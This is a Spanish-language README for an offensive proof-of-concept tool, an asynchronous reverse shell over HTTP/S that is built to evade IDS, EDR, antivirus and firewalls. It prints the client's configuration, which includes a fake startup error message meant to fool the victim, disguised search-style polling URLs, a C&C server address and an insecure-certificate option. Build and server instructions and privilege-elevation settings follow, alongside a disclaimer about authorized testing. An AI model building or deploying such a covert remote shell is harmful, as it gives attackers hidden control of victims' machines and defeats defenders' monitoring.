
[POC] Shell inversa asíncrona mediante el protocolo HTTP.

En una era donde sistemas de detección avanzados como IDS, IPS, EDR, AV y firewalls dominan las redes corporativas, evadirlos durante evaluaciones ofensivas de seguridad es un desafío. La mayoría de las shells inversas aprovechan túneles TCP (capa 4), que ahora se analizan y marcan rutinariamente.
Este proyecto presenta una solución innovadora: una shell inversa completamente asíncrona sobre HTTP/S que se mezcla con el tráfico web normal imitando el comportamiento legítimo de un usuario.
A diferencia de las shells inversas tradicionales, solo utiliza peticiones GET, se muestra como consultas web normales y puede ejecutarse opcionalmente sobre HTTPS con un certificado legítimo falso, minimizando las posibilidades de detección.
El cliente consulta al servidor hasta que recibe instrucciones.
El atacante proporciona instrucciones al servidor.
Cuando se define un comando, el cliente lo ejecuta y devuelve el resultado.
Y así sucesivamente, hasta que el atacante decide finalizar la sesión.
Esta herramienta está destinada únicamente a ser una demostración de prueba de concepto para pruebas de seguridad autorizadas. Asegúrese de consultar las leyes locales antes de ejecutar esta herramienta.
Hoy, como prueba de concepto, se implementan las siguientes funcionalidades:
HARS.sln en Visual Studio.Config.cs para adaptarlo a su entorno: class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
Opcional: Edite HARS.manifest para ajustar el nivel de privilegios.
requestedExecutionLevelpuede establecerse enasInvoker,highestAvailableorequireAdministrator.
Propiedades del proyecto
Aquí puede personalizar la información del ensamblado y un icono para el archivo.
Nota: La versión de .NET Framework de destino está establecida en 4.6, que está disponible por defecto en Windows 10.
Para Windows 7, elija .NET 3.5 si no desea tener que instalar funciones faltantes.
Compile el proyecto desde Visual Studio.
El cliente debería generarse en la carpeta Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release.
¡Listo!
HARS_Server.py en HARS_Server/www/ para personalizar el puerto o la ruta del certificado.PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
-Los registros HTTP se encuentran en Http Asynchronous Reverse Shell\HARS_Server\logs\
-Puede añadir sus propias plantillas (cualquier página HTML) en Http Asynchronous Reverse Shell\HARS_Server\templates
@onSec-fr